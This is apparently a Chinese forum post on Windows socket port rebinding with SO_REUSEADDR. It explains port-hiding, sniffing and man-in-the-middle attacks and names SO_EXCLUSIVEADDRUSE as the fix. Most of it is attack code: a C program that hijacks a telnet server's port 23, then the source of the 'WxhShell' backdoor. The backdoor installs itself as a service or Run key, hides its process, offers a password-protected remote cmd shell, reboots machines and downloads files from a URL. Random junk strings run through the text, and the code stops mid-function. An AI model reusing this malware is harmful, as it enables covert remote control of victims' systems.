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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \cq
gCab/2 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5 pNbO[ z/bJDSQ saddr.sin_family = AF_INET; #(o 'G4T !!Tk'=t9"3 saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0 S3~IeJ Ndj9B|s_ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7g(,$5 pg3B^ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?!H<V@a /1X0h 这意味着什么?意味着可以进行如下的攻击: i2or/(u` ]?P9M<0PM 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 x)6yWr[ri% te?R(& 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @kR/=EfS V1R=` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .e2qa ien >Ou 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 @:$zReS2 |CME:;{T 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 lf3:Z5*&> @;>TmLs 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 uVoM2n?D%^ 1x+YgL5 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 : 0BaEqX 1Yt;1k' #include h,Y MR3:X #include L]{ 1"`# #include A8JEig 3Ix #include Zmf\A DWORD WINAPI ClientThread(LPVOID lpParam); 6[BQx)7T int main() `Q!|/B { ;^)(q<] WORD wVersionRequested; 5m")GWQaP@ DWORD ret; p#}38` WSADATA wsaData; }+U} [G BOOL val; 1-@.[VI SOCKADDR_IN saddr; L2>UA<@mZ SOCKADDR_IN scaddr; Q2;zve&Dl int err; XZhX%OT! SOCKET s; <\k=j{@ SOCKET sc;
\M>+6m@w int caddsize; ]}Hcb)'j@ HANDLE mt; 6T 2jVNg DWORD tid; Fy-+? ~ wVersionRequested = MAKEWORD( 2, 2 ); 6,'v
/A- err = WSAStartup( wVersionRequested, &wsaData ); ehO@3%z30c if ( err != 0 ) { O~F/pJN` printf("error!WSAStartup failed!\n"); ;u LD_1% return -1; )L#C1DP# } gvYib`# saddr.sin_family = AF_INET; (80#{4kl -d\O{{%>.z //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >LxYP7M 4ew|5Zex.~ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); F,#)8>O saddr.sin_port = htons(23); Yo:l@( if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8:,E=swe { -A}*Aa'\ printf("error!socket failed!\n"); 8XwAKN:f return -1; uV<I!jyI } 2U,O
e9 val = TRUE; \ief [ //SO_REUSEADDR选项就是可以实现端口重绑定的 ~~]/<d if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) E)|_7x<u { {Q8DPkW printf("error!setsockopt failed!\n"); X ^>o/U return -1; |i-Q fpn } xKKL4ws //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D3yG@lIP3 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~1YL //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *&B1(&{:V tYyva if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~*D)L'`2M { e!yUA!x`u ret=GetLastError(); v=?U{{xQ printf("error!bind failed!\n"); MjC;)z return -1; Ky`rf}cI> } +=%13cA*U listen(s,2); [wl:"rm while(1) ^z3-$98=A { Ltpd:c caddsize = sizeof(scaddr); ~,yHE3B\G //接受连接请求 MrjET!`.jC sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); H n+1I if(sc!=INVALID_SOCKET) ByeyUw { YMP:T?vMVh mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^a|$z$spf if(mt==NULL) /_E:sI9( { $enh>!mU printf("Thread Creat Failed!\n"); u4B, |_MK break; vBsd.2t~ } >x)YdgJ* } WM BntB CloseHandle(mt); <Fb3\T L } 70&v`" closesocket(s); 13Ga # WSACleanup(); eN{[T
PPCq return 0; hb9X<N+p } u814ZN} DWORD WINAPI ClientThread(LPVOID lpParam) %*P59% { o#E 3{zM SOCKET ss = (SOCKET)lpParam; mnL
\c' SOCKET sc; 1Nx.aji unsigned char buf[4096];
qEKTSet? SOCKADDR_IN saddr; HyXw^ +tsj long num; "!XeK| Wi DWORD val; m}0US;c#f DWORD ret; OlhfBu)~ //如果是隐藏端口应用的话,可以在此处加一些判断 PRl\W:_t //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 +O3zeL saddr.sin_family = AF_INET; =25qY"Mf saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6cSMKbgZJ saddr.sin_port = htons(23); zfL$z,zgf if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (,Yb]/O* { ws
tI8"> printf("error!socket failed!\n"); I#@iA! return -1; #(h~l> r } noe1*2*T E val = 100; 0"o<(1 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H~1la V { N+l~r]: & ret = GetLastError(); 0.O pgv2K return -1; JY0t Hs } P]T(I/\g if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X`]-)(UX { G;V@oT ret = GetLastError(); /dhx +K~ return -1; Pca~V>Hd } ;6t>!2I>C if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) PC/fb-J { KgVit+4u/ printf("error!socket connect failed!\n"); "e g`3v closesocket(sc); %@ $h?HP closesocket(ss); `3kE$h# return -1; Y\BB;"x1 } 7Upm while(1) YS,kjL/ { v83uGEq( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 shxr^ //如果是嗅探内容的话,可以再此处进行内容分析和记录 IGT~@); //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .=rv,PWjZ num = recv(ss,buf,4096,0); 4C[,S|J if(num>0) fOJk+?
c send(sc,buf,num,0); Rp A76ug else if(num==0) Nv*x^y] break; >OE.6)'Rm num = recv(sc,buf,4096,0); qLKyr@\' if(num>0) u_@%}zo?5* send(ss,buf,num,0); yk#yrxM else if(num==0) qyUcjc%[ break; EVNTn`J_ } H#k"[eZ closesocket(ss); {b^naE closesocket(sc); [ar:zlV8 return 0 ; 4DEsB)%X } "Na9Xea O 4N_lr~ J><O
51 ========================================================== L;nRI. 52m^jT Sx 下边附上一个代码,,WXhSHELL ?Li^XONz a%tm[Re ========================================================== T =3te|fv jp8=>mk #include "stdafx.h" m<8j' [+ Jl Q%+$ #include <stdio.h> yr&oJYM #include <string.h> YC&iH>jO3 #include <windows.h> ~D@V@sX #include <winsock2.h> %%c0UaV #include <winsvc.h> kBIF[.v(\ #include <urlmon.h> 0o At=S fj0+a0h #pragma comment (lib, "Ws2_32.lib") i0-!! #pragma comment (lib, "urlmon.lib") j6Jz rRcfZZ~` M #define MAX_USER 100 // 最大客户端连接数 ~0ZEnejy #define BUF_SOCK 200 // sock buffer D\(,:_ge #define KEY_BUFF 255 // 输入 buffer 78+H|bH8 *IGxa #define REBOOT 0 // 重启 =d~]*[8 #define SHUTDOWN 1 // 关机 n8[sR;r5f x@DXW( #define DEF_PORT 5000 // 监听端口 eno*JK M =yZ5~3 #define REG_LEN 16 // 注册表键长度 ?MKf=!w #define SVC_LEN 80 // NT服务名长度 P)1@HDN== 2@08 V| // 从dll定义API `"AjbCL typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }S*6+4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FPaj
p typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -J[zJ4z# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *^Zt5 zk \^Y#"zXo1 // wxhshell配置信息 Ep 5lmzg struct WSCFG { vlyq2>TfR int ws_port; // 监听端口 (n" ) char ws_passstr[REG_LEN]; // 口令 P7egT,Z int ws_autoins; // 安装标记, 1=yes 0=no n,PHfydqX char ws_regname[REG_LEN]; // 注册表键名 :m#vvH char ws_svcname[REG_LEN]; // 服务名 MFW?m,It) char ws_svcdisp[SVC_LEN]; // 服务显示名 E>4#j
PK char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~pzaX8! char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W:(:hT6`j9 int ws_downexe; // 下载执行标记, 1=yes 0=no MF 5w.@62X char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe"
@KOa5-u char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y{u6t 3 yl 0?Y }; {6 #3` x ?^c:`. // default Wxhshell configuration /@3+zpaw X struct WSCFG wscfg={DEF_PORT, I,YGm
"xuhuanlingzhe", *D AgcB 1, Y\+^\`Tqu "Wxhshell", H~ks"D1 "Wxhshell", @b>]q$)(} "WxhShell Service", e3S6+H),I "Wrsky Windows CmdShell Service", T{)!>) "Please Input Your Password: ", `4k;`a 1, UD9h5PgT " http://www.wrsky.com/wxhshell.exe", d\)v62P "Wxhshell.exe" 'h81\SKFK9 }; c'G\AbUVjE +vU.#C_2 // 消息定义模块 -g@pJ^>: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hA@X;Mh^w char *msg_ws_prompt="\n\r? for help\n\r#>"; @W.`'b- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; :+R5"my char *msg_ws_ext="\n\rExit."; dt5gQ9(B char *msg_ws_end="\n\rQuit."; vo::y" char *msg_ws_boot="\n\rReboot..."; SQ.4IWT(hR char *msg_ws_poff="\n\rShutdown..."; 2X*epU_1h char *msg_ws_down="\n\rSave to "; xDQ$Ui. 8vT:icl char *msg_ws_err="\n\rErr!"; 2sU"p5 j char *msg_ws_ok="\n\rOK!"; BKDWd]KEf 4U6{E# char ExeFile[MAX_PATH]; RtIc:ym int nUser = 0; {xH
\!!"T HANDLE handles[MAX_USER]; /ZzlC#` int OsIsNt; %kc g#p+tE RU{}qPs? SERVICE_STATUS serviceStatus; ;zCHEz SERVICE_STATUS_HANDLE hServiceStatusHandle; TuF:m"4 B"qG-ci // 函数声明 5=?&q 'i int Install(void); <;XJ::d int Uninstall(void); Ee|@l3) int DownloadFile(char *sURL, SOCKET wsh); K[ \z'9Q int Boot(int flag); hV,3xrm?P void HideProc(void); *jJ62-o int GetOsVer(void); VLO>{"{' int Wxhshell(SOCKET wsl); :?p{ga9 void TalkWithClient(void *cs); p0tv@8C> int CmdShell(SOCKET sock); }`MO}Pz int StartFromService(void); ;T_9;RU<'b int StartWxhshell(LPSTR lpCmdLine); R80R{Ze JJ+<?CeHD VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #>,cc?H- VOID WINAPI NTServiceHandler( DWORD fdwControl ); V\G>e{ hD,-!R // 数据结构和表定义 */\.-L{h SERVICE_TABLE_ENTRY DispatchTable[] = e7qT; { /Mk)H
d {wscfg.ws_svcname, NTServiceMain}, u qyf3bK {NULL, NULL} n (|>7 }; C=]3NB>Jc H|!s. // 自我安装 v]J# SlF int Install(void) 7 dzE"m { \%C[l char svExeFile[MAX_PATH]; yjr@v!o HKEY key; m3WV<Cbz strcpy(svExeFile,ExeFile); w\mF2h N<{`n; // 如果是win9x系统,修改注册表设为自启动 BmM,vllO if(!OsIsNt) { 7^iAc6QSy3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *Q>:|F[vM RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j*zK"n RegCloseKey(key); M'HOw)U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j"V$J8)[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 35>}$1?-6 RegCloseKey(key); 4
* OU return 0; [v`4OQF/ } gfYB|VyWo } 3/AUV%+ } .$k"+E else { v<SEGv- !lF^~x // 如果是NT以上系统,安装为系统服务 /OP*ARoC21 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'l:2R,cP if (schSCManager!=0) J4vKfxEg { !BX62j\? SC_HANDLE schService = CreateService f+920/>!Z ( R\}YD* schSCManager, _y9P]@Q7% wscfg.ws_svcname, 1FJ[_l wscfg.ws_svcdisp, |FFC8R%@]u SERVICE_ALL_ACCESS, 6ZR0_v;TD SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *I67SBt SERVICE_AUTO_START, Ig<p(G.;} SERVICE_ERROR_NORMAL, E8i:ER $$7 svExeFile, p[)<d_ NULL, eqR#` NULL, uI2'jEjO NULL, Q7r,5w&cm NULL, 7j:{rCp3J NULL gp HwiFc ); 9qDGxW
'1 if (schService!=0) Dkb&/k:) { 2FzS_\":I CloseServiceHandle(schService); RV`j>1 CloseServiceHandle(schSCManager); =M5M; strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P1wRt5 strcat(svExeFile,wscfg.ws_svcname); H1nQ.P]_ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0vp I#q RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F4Uk+|]Bu RegCloseKey(key); ak>NKK8P return 0; 1 =<|h } ,*[LnR } 0f^.zt{T CloseServiceHandle(schSCManager); }L!`K"^O& } ^rwSbM$ } ~-`02 Bs?F*,zDJ return 1; |esjhf}H>v } fO^6q1a QNXxpoS# // 自我卸载 8~E)gV+v int Uninstall(void) ;#9|l= { MPbPq3an HKEY key; (OB8vTRXP <&:&qngg if(!OsIsNt) { 8>q%1]X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P@YL.'KU) RegDeleteValue(key,wscfg.ws_regname); +
nS/jW RegCloseKey(key); v{ n}%akc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %>2t=)T RegDeleteValue(key,wscfg.ws_regname); ?MM3LA! < RegCloseKey(key); df*#?Ok return 0; .4> s2 } &.hRVW( } v4_OUA>z, } h)8+4?-4I else { AJfi,rFPg `uVW<z{l SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;6nZ if (schSCManager!=0) cl{W]4*$ { k_<{j0z. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X3{1DY3@u if (schService!=0) i8_x1=A { U!:!]DX( if(DeleteService(schService)!=0) { oxQID CloseServiceHandle(schService); _M[[vXH CloseServiceHandle(schSCManager); WgJAr73
l return 0; q_y,j& } DXW?;|8)O CloseServiceHandle(schService); 8$ZSF92C } 1lyOp CloseServiceHandle(schSCManager); I<./(X[H:# } :IVMTdYf } o?K|[gNi 6bKO;^0 return 1; Dh No +"!z } Sn2Ds)Pfx3 qMES<UL> // 从指定url下载文件 gH^$Y~Lx int DownloadFile(char *sURL, SOCKET wsh) xeM':hD.o { IXvz&4VD HRESULT hr; ^>8]3@ Nh char seps[]= "/"; &17,]# 3 char *token; t"/"Ge#a char *file; QYfAf3te char myURL[MAX_PATH]; c4>sE[] char myFILE[MAX_PATH]; .xkV#ol KHecc/,,S strcpy(myURL,sURL); Pgw%SMEp token=strtok(myURL,seps); RyOT[J while(token!=NULL) b2X'AHK S { P^3m:bE] file=token; \1mM5r~ token=strtok(NULL,seps); ~Oq,[,W } &U$8zn~[k
0IgnpeA] GetCurrentDirectory(MAX_PATH,myFILE); e9@fQ strcat(myFILE, "\\"); j%Z{.>mJ strcat(myFILE, file); !N8)C@= send(wsh,myFILE,strlen(myFILE),0); ?e y&Un" send(wsh,"...",3,0); ;q,)NAr& hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bq3fiT9 if(hr==S_OK) BQ9`DYI b return 0; bI]UO) else \As oeeF return 1; HS6Imi NnLhJPh } m/hi~.D9 nN=:#4
>Y // 系统电源模块 p~q_0Pg% int Boot(int flag) ra%R:xX { 85|95P.< HANDLE hToken; }.MoDR3\ TOKEN_PRIVILEGES tkp; 7"n1it[RJ8 t}XB|h if(OsIsNt) { cCh0?g7nV OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~w1{zxs LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3j+=3n, tkp.PrivilegeCount = 1; ,"N3k(g tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; | 3N.5{ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9uw,-0*5 if(flag==REBOOT) { r ,3Ww2X- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b#p~F}qT return 0; kj{rk^x } T6R7,Vt'v else { 5mna7BCEb if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]{AOh2Z.hv return 0; 6VH90KAT } !bZhj3. } _H4$$ else { |5O >>a() if(flag==REBOOT) { ~'^!udF- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QN5yBa!Wz return 0; r,u<y_YW } POqRHuFq else { ]]J#7L# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {t844La" return 0; O1x0[sy } Z:_m}Ya| } #1QX!dK+ i{tTUA return 1; #*yM2H"7,; } ="3a%\ |5oKq'(b // win9x进程隐藏模块 g.[+yzuE6 void HideProc(void) s{(ehP.Dd { F=oHl@ !X5o7b ) HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6}VUD
-}B if ( hKernel != NULL ) js:C
mnI { )"(V*Z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YPF&U4CN ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]j& FbP)3 FreeLibrary(hKernel); RGT_}ni } =4frP*H? Z|2Eb* return; {E!$ xY8 } !(kX~S JQ*D // 获取操作系统版本 .cw!ls7d int GetOsVer(void) L7SEswMti { /a@ k S OSVERSIONINFO winfo; ' 2>l winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 90Xt_$_}s GetVersionEx(&winfo); _ymJ~MK if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pG0!ALT return 1; .D+RLO z else ^[ET&" return 0; uVN.= }
%)pP[[h 48wDf_<f5= // 客户端句柄模块 KuA>"X int Wxhshell(SOCKET wsl) m])Lw@#9W { Oz:D.V
3~ SOCKET wsh; BRe{1i 6 struct sockaddr_in client; 3f_i1|>)' DWORD myID; P?uf?{ mRCHrw?WG while(nUser<MAX_USER) \0D$Mie { /^J2B8y int nSize=sizeof(client); ?p(kh^ z wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =KV@&Y^x4 if(wsh==INVALID_SOCKET) return 1; ?~!tM}X0:3 u0xQ;BQ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *]5z^>
q;7 if(handles[nUser]==0) ]22C)< closesocket(wsh); qc3~cH.@ else ])C>\@c6Gm nUser++; }xqXd%uz } $)Wb#B WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @\ }sb] TfL4_IAG. return 0; X&s7%]n+ } :ztyxJv1 CQ<8P86gt // 关闭 socket ai4PM
b$p void CloseIt(SOCKET wsh) 7UnzIe { /M:H9Z8! closesocket(wsh); S9J5(lYv~N nUser--; 3)y{n%3L ExitThread(0); .?f:Nb.O } ovz# |ixGY^3; // 客户端请求句柄 $R"; void TalkWithClient(void *cs) Q? qjWZY { IQIbz{bMx )i0 $j)R SOCKET wsh=(SOCKET)cs; lj*8mS/;h char pwd[SVC_LEN]; }%+qP+O\ char cmd[KEY_BUFF]; qL3@PSN?| char chr[1]; C%]."R cMC int i,j; @HvScg*Y K@6`-|I while (nUser < MAX_USER) { (`pNXQ0n *2=W5LaK. if(wscfg.ws_passstr) { n26>>N if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y^G>{?Tha //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PPj[;(A //ZeroMemory(pwd,KEY_BUFF); odpUM@OAW i=0; =53bLzr while(i<SVC_LEN) { .gq(C9<B[ LEK/mCL // 设置超时 <BPRV> 0X fd_set FdRead; YDFCGA struct timeval TimeOut; ]`d2_mu FD_ZERO(&FdRead); )v1CC.. FD_SET(wsh,&FdRead); \TUE<<?1s TimeOut.tv_sec=8; h@@d{{IqT TimeOut.tv_usec=0; &6/%kkv int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sT`^ljp4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7)J6/(' ;v_V+t<$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j o_
sAb pwd =chr[0]; Qn.[{rw if(chr[0]==0xd || chr[0]==0xa) { Us-A+)r*! pwd=0; ,H39V+Y* break; "OL~ul5 } IqUp4} i++; 94{)"w] } Go <' 7F(5)Utt // 如果是非法用户,关闭 socket 6Y7H|>g) if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iCrxV{ } #*2Rp8n ~;unpym' send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 62kb2C send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `G?qY8 q (>c`5 while(1) { L2fVLKH qS.)UaA ZeroMemory(cmd,KEY_BUFF); Tn A?u (R% <'&F;5F3V // 自动支持客户端 telnet标准 =Ndli>x}1 j=0; +O+<Go@a while(j<KEY_BUFF) { V"#Jk!k9k if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6peyh_ cmd[j]=chr[0]; 3SNL5 if(chr[0]==0xa || chr[0]==0xd) { OOB^gf}$' cmd[j]=0; YH\j@^n break; {Q~7M$ } KG8W8&q j++; <m-.aK{9 } L.B~ax.|Z kdcQw7G // 下载文件 m^I,}1H4 if(strstr(cmd,"http://")) { ?`AGF%zp
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5v9Vk`3' if(DownloadFile(cmd,wsh)) 2dbRE:v5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); {/}^D- else #3MKH8k&~ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,2`~ NPb } HZZDv+ else { 8Xn!Kpa FifbxL switch(cmd[0]) { ue0s&WF| Hwu4:^OL| // 帮助 -BhTkoN) case '?': { u) *Kws send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .y): Rh^ break; yn~P{}68 } [ee30ELn // 安装 js <Ww$zFW case 'i': { FtIa*j^G if(Install()) YV([2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6E^~n else $j*Qo/xd send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tcL2J . break; DWf$X1M } O4Dr ]Xc] // 卸载 W`L!N&fB case 'r': { ngUHkpYS5 if(Uninstall()) NP_?f%( send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6 bO;& else '6S %9ahE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +>YfRqz:KB break; u%2KwRQ } BHr|.9g]%% // 显示 wxhshell 所在路径 $YM_G=k case 'p': { TlRk*/PlJ char svExeFile[MAX_PATH]; (3%t+aqq strcpy(svExeFile,"\n\r"); u$\a3yi strcat(svExeFile,ExeFile); "JT;gaEm send(wsh,svExeFile,strlen(svExeFile),0); n?QZFeI` break; FpVV4D } pFO^/P' // 重启 ]~jN^"o_B case 'b': { )bDnbO$s_ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r@$ w*% if(Boot(REBOOT)) 8cdsToF(e. send(wsh,msg_ws_err,strlen(msg_ws_err),0); (:sZ
b?* else { b^Cfhy^RTq closesocket(wsh); FvXqggfGv ExitThread(0); `X8@/wf# } _gV8aH ZyM break; G[z
.&l } '%7 Bx of // 关机 X")|Uw8Kl/ case 'd': { Y25uU%6t_ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -dRFA2Y if(Boot(SHUTDOWN)) M-MKk:o send(wsh,msg_ws_err,strlen(msg_ws_err),0); A3R#z]Ub else { J^zi2jtV closesocket(wsh); 2{oThef[O ExitThread(0); tT5pggml } *g$i5!yM' break; :uK
btoA } CL9yEy"V // 获取shell r"]'`qP, case 's': { 0k[2jh CmdShell(wsh); @d&H]5 closesocket(wsh); r9@AT( ExitThread(0); E*CcV; break; ]U_ec*a } ^T079=$5 // 退出 \}dyS8 case 'x': { ZYMw}]#((E send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s3
B'>RG} CloseIt(wsh); 6STp>@Ch]" break; (Hp' B))2 } p>kq+mP2bc // 离开 FFcB54ALTf case 'q': { hIU(P Dl4 send(wsh,msg_ws_end,strlen(msg_ws_end),0); R7_VXvm>z closesocket(wsh); D>#l -{d WSACleanup(); qqOFr!)g exit(1); f8n
V=AQ break;
|jG~,{ } pIO4,VL;W } a.kbov( } $G!R,eQ q``wt // 提示信息 }[!92WS/ee if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pJ^NA2 } }iww:H-1 } Mi0sC24b| K-Mc6 return; aMwB>bt } i[nF.I5*f X0$@Ik
// shell模块句柄 kgW @RD| int CmdShell(SOCKET sock) !1Y&Y@ze { b"CAKl STARTUPINFO si; <~"lie1 ZeroMemory(&si,sizeof(si)); Poy^RpnX si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +4)7j&L si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p
EusTP PROCESS_INFORMATION ProcessInfo; qx)?buAij char cmdline[]="cmd"; _8fA?q= CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JK)qZ= return 0; b{cU<;G)y. } ]r/^9XaqtA p]&j;H. // 自身启动模式 wij,N(,H int StartFromService(void) GjT#%GBF { FN87^.^2S typedef struct MDO$m g { `8g7q 5 DWORD ExitStatus; )&W**!(C DWORD PebBaseAddress; a.%LHb DWORD AffinityMask; fi%r<]@ DWORD BasePriority; p{tK_ZBy]c ULONG UniqueProcessId; %s=Dj2+ ULONG InheritedFromUniqueProcessId; #I0pYA2m } PROCESS_BASIC_INFORMATION; jAhP>
t: B6M+mx"G PROCNTQSIP NtQueryInformationProcess; SoQR#(73HK (K{5fC static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vmZ"o9-{#X static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R.RSQk7; ]k%PG-9 HANDLE hProcess; dl|gG9u4Q PROCESS_BASIC_INFORMATION pbi; P~ 0Jg#
